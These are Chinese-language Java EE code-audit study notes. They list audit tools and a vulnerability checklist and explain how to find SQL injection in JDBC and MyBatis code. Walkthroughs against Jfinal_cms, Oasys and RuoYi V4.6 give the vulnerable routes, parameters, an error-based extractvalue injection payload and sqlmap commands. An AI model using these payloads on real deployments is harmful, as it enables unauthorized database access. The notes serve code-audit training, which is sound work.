JAVA
JavaEE代码审计:
一、代码编辑器:
1.Jetbrains IDEA(IDE)
2.Sublime text(文本编辑器)
3.Eclipse (IDE)
二、测试工具:
1.Burp Suite:是渗透测试工作者必备的一款工具
2.SwitchyOmega:SwitchyOmega 是一款代理管理插件,支持Firefox和Chrome浏览器,并支持HTTP、HTTPS、socket4和socket5协议。
3.Max HackerBar:HackBar是的一个插件,也是信息安全从业者常用的经典工具。
4.Postman:Postman是一款功能强大的网页调试工具,能够为用户提供强大的Web API & HTTP请求调试功能。
5.Ysoserial:一款开源Java反序列化测试工具,内部集成有多种利用链,可以快速生成用于攻击的代码,也可以将新公开的反序列化漏洞利用方式自行加入Ysoserial中。
6.Marshalsec:是一款开源的Java反序列化测试工具,不仅可以生成各类反序列化利用链,还可以快速启动恶意的RMI服务等。
7.MySQL Monitor:是Web版本的SQL记录实时监控工具。
8.Beyond Compare:是一款文件比较工具,主要对比两个文件夹或者文件,并以颜色标示差异,比较范围包括目录、文档内容等。使用该工具可以方便代码审计人员快速地比对两个版本代码的差别。
三、反编译工具
1.JD-GUI:是一款具有UI界面的反编译工具,界面简洁大方,使用简单方便。
2.Fernflower:功能比JD-GUI更强大,虽然没有UI界面,但可以配合系统指令完成批量反编译的工作。
3.CFR:功能强大的反编译工具,支持主流Java特性——Java8 lambda表达式,以及Java7字符串切换。在某些JD-GUI无法反编译的情况下,CFR仍然能完美地进行反编译,也可以像FernFlower那样配合系统指令进行批量反编译。
4.IntelliJ IDEA:具能够自动解包已添加依赖的Jar包,并对其内容进行反编译。该工具拥有动态调试和字符串匹配和搜索功能,为审计和调试漏洞工作提供了极大便利。
5.CodeReviewTools:是一款可以快速搜索代码中的关键点,一键对jar进行批量反编译,也支持直接对war包进行操作。
四、Java代码静态扫描工具
1.Fortify SCA:获得业界认可的静态代码检查工具,但它是收费的。Fortify SCA的核心在于规则库,用户可以自定义规则库,减少误报。
2.VCG:基于 VB 开发的一款Windows下的白盒审计工具。VCG 支持多种语言,例如C/C++、Java、C#、VB、PL/SQL、PHP。VCG会根据代码中的变量名等信息动态生成针对该代码的漏洞规则,通过正则检查是否有和漏洞规则所匹配的代码。
3.FindBugs与FindSecBugs插件:FindBugs是一款Bug扫描插件,在IDEA和Eclipse中都可进行安装。FindBugs可以帮助开发人员发现代码缺陷,减少Bug,但其本身并不具备发现安全漏洞的能力,需要安装FindSecBugs拓展发现安全漏洞的能力。
4.SpotBugs:是FindBugs的继任者,所以二者用法基本一样,可以独立使用,也可以作为插件使用。
5.CheckMark:白盒代码审计解决方案,主要通过采用独特的词汇分析技术和CxQL专利查询技术对应用程序源码进行静态分析检查。
6.Snyk插件:修复项目中的安全漏洞、基础架构错误配置和代码质量问题。
7.Sensei插件:可在键入时扫描和修复易受攻击的代码 - 具有数百个可下载的安全编码配方(规则)以及内置的自行制作能力。
8.Reshift Security插件:可以快速发现漏洞,提供多个代码修复片段,以及丰富的文档,涵盖了每个漏洞的检测、修复和测试。
9.MurphySec CodeScan插件:可以快速识别您的项目中使用了哪些存在安全缺陷的开源组件,并帮助您一键修复问题。
10.Momo CodeSecInspector插件:重于在编码过程中发现项目潜在的安全风险,并提供一键修复能力。
11.dependence-check:可用于检查已发布安全漏洞的项目依赖项。
12.wJa:一款结合DAST、SAST、IAST的综合性应用程序安全分析工具,支持对java web程序的安全性进行分析,含有反编译,代码审计,调试jar包,代理追踪等用于分析软件安全的功能。
13.tabby:是一款针对Java语言的静态代码分析工具,它使用静态分析框架 Soot 作为语义提取工具,将JAR/WAR/CLASS文件转化为代码属性图,并使用 Neo4j 图数据库来存储生成的代码属性图CPG。
14.SpringInspector:Java自动代码审计工具,尤其针对Spring框架,提供一个SpringBoot的Jar包即可进行自动代码审计,底层技术基于字节码分析。
15.gadgetinspector:反序列化漏洞利用链、漏洞检测工具。
开发审计入口常见方法:
-搜索法:常规或部分MVC模型源码可以采用关键字的搜索挖掘思路
-功能法:框架MVC模型源码一般会采用功能点分析抓包追踪挖掘思路
-对比法:可以通过前后修复版本文件及代码不同特征进行针对挖掘思路
-特征法:数据库监控挖SQL注入,文件监控挖上传删除写入等,后续补充
-调试法:动态调试(PHP,ASP.NET,JavaEE,Python等)
-工具法:后续讲到(DAST&SAST&IAST&CodeQL等)
类别 | 测试项 |
---|---|
认证鉴权 | 登录密码是否加密 |
是否可猜解用户名 | |
是否可批量注册用户 | |
是否存在验证码 | |
验证码有效性 | |
是否登录会话固定 | |
会话ID是否足够复杂 | |
注销功能是否有效 | |
登录身份校验算法是否可逆 | |
修改密码处是否验证旧密码 | |
Cookie中是否存在敏感信息 | |
信息泄露 | 是否存在中间件错误页面 |
是否暴露异常处理报错信息 | |
是否存在源代码泄露 | |
源代码注释信息 | |
是否存在用户敏感信息明文传输 | |
文件I/O | 是否存在任意文件上传 |
是否存在任意文件下载 | |
是否存在文件包含漏洞 | |
数据验证 | 是否存在反射型XSS |
是否存在存储型XSS | |
是否存在DOM型的XSS | |
是否存在SQL注入漏洞 | |
是否存在命令执行漏洞 | |
是否存在URL跳转漏洞 | |
是否http头CRLF注入 | |
是否存在SSRF漏洞 | |
是否存在跨站请求伪造漏洞 | |
逻辑流程 | 是否存在横向越权 |
是否存在垂直越权 | |
是否存在逻辑绕过 | |
是否存在未授权访问 | |
组件安全 | 是否存在中间件组件漏洞 |
是否开发组件漏洞 | |
接口安全 | 是否存在短信炸弹漏洞 |
是否存在邮件炸弹漏洞 | |
是否存在微信推送炸弹漏洞 | |
其他 | 是否存在危险的HTTP方法 |
是否CORS配置不当 | |
是否能存在HOST攻击 | |
是否存在接口请求未鉴权 |
sql注入
1、三个模式:
JDBC,Mybatis,Hibernate又称HQL
2、出现注入:
原生JDBC是否存在直接拼接SQL语句(使用+,或者使用StringBUilderappend()),未经过预编译;
Mybatis使用${};
Hibernate、JPA默认是经过预编译的,但是如果开发自己编写的SQL语句,也需要进行检查;
Java是强类型语言,当注入参数为long、int等数字类型时无法进行注入;
找到危险函数位置之后,向上搜索,找函数、方法调用位置,直到请求入口(controller层),判断是否存在无害化处理、无害化处理是否严格;
参考:https://mp.weixin.qq.com/s/9t3t6qxosGsKiXMIRtMoPw
3、判断模式:
-看项目说明使用的技术框架
-看引用中加载那些技术框架
-看配置源码中相关配置文件
Mybatis喜欢用xml配置文件来定义sql语句,具体可以参考上面的链接
4、入口确定:
1、是否使用预编译技术,预编译是否完整。
2、定位SQL语句上下文,查看是否有参数直接拼接,是否有对模糊查询关键字的过滤。
3、Mybatis框架则搜索${},四种情况无法预编译:like模糊查询、order by排序、范围查询in、动态表名/列名,只能拼接,所以还是需要手工防注入,此时可查看相关逻辑是否正确。
4、JPA搜索JpaSort.unsafe(),查看是否用实体之外的字段对查询结果排序,进行了SQL的拼接。以及查看EntityManager的使用,也可能存在拼接SQL的情况。
Statement
createStatement
PrepareStatement
like ‘%${
in(${
in (${
select
update
insert
delete
${
order by
setObject(
setInt(
setString(
setSQLXML(
createQuery(
createSQLQuery(
createNativeQuery
…….
非框架JDBC-Jfinal_cms论坛系统
https://github.com/jflyfox/jfinal_cms
分析:确定非框架(看meaven库发现没有Mybatis,Hibernate)->搜关键字order by append->getBaseForm()->getOrderBy()->getOrderColumn->orderColumn
路由:Post:/admin/advicefeedback/list
参数:form.orderColumn
拼接:order by “).append(orderBy);
Poc:’ xxx #(直接sqlmap搜哈)
跟进去看orderBy变量是否可控
接着跟两个函数
getBaseForm()->getOrderBy()->getOrderColumn->orderColumn
路由:Post:/admin/advicefeedback/list
参数:form.orderColumn
1 | from tb_advice_feedback t where 1=1 order by orderBy |
拼接:order by “).append(orderBy);
Poc:’ xxx #(直接sqlmap搜哈)
burp开启后,随便点一下触发,抓包时不要用localhost或者127.会抓不全
python3.exe sqlmap.py -r ifcms.txt
梭哈
SpringBoot+Mybatis-Oasys办公系统
https://gitee.com/aaluoxiang/oa_system
分析:确定Mybatis框架->搜关键字${->%${baseKey}%->sortMyNotice->sortMyNotice->informListPaging->
路由:Post:/informlistpaging
参数:baseKey
拼接:and n.title LIKE ‘%${baseKey}%’
Poc:’ xxx #(直接sqlmap搜哈)
看pom文件有mybatis库确认为Mybatis框架
在xml文件中搜%${
介绍个插件,点击小鸟图标可以直接跟进去
右键,转到
再看一下路由地址
按照说明书配置application.properties
抓包
把127.0.0.1换成http://10.211.55.3/
梭哈
SpringBoot+Mybatis-Ruoyi若依系统 V4.6
https://gitee.com/y_project/RuoYi
基于springboot中,执行SQL三个调用:
1、业务层调用dao层
2、controller调用Service层间接调用dao层
3、controller直接调用dao层
分析:确定Mybatis框架->搜关键字${->updateDeptStatus->updateParentDeptStatus->updateDept->editSave
路由:Post:/system/dept/edit
参数:ancestors
拼接:where dept_id in (${ancestors})
Poc:DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
跟进去,看到最上面没有路由,再跟
再往上找
再往上跟
跟到controller,最上面有路由地址
分析
路由:Post:/system/dept/edit
直接访问无法触发,根据源码里面的中文信息,跟随页面
修改最下面的信息
参数:ancestors
拼接:where dept_id in (${ancestors})
Poc:DeptName=1&DeptId=100&ParentId=12&Status=0&OrderNum=1&ancestors=0)or(extractvalue(1,concat((select user()))));#
也可以sqlmap一把梭哈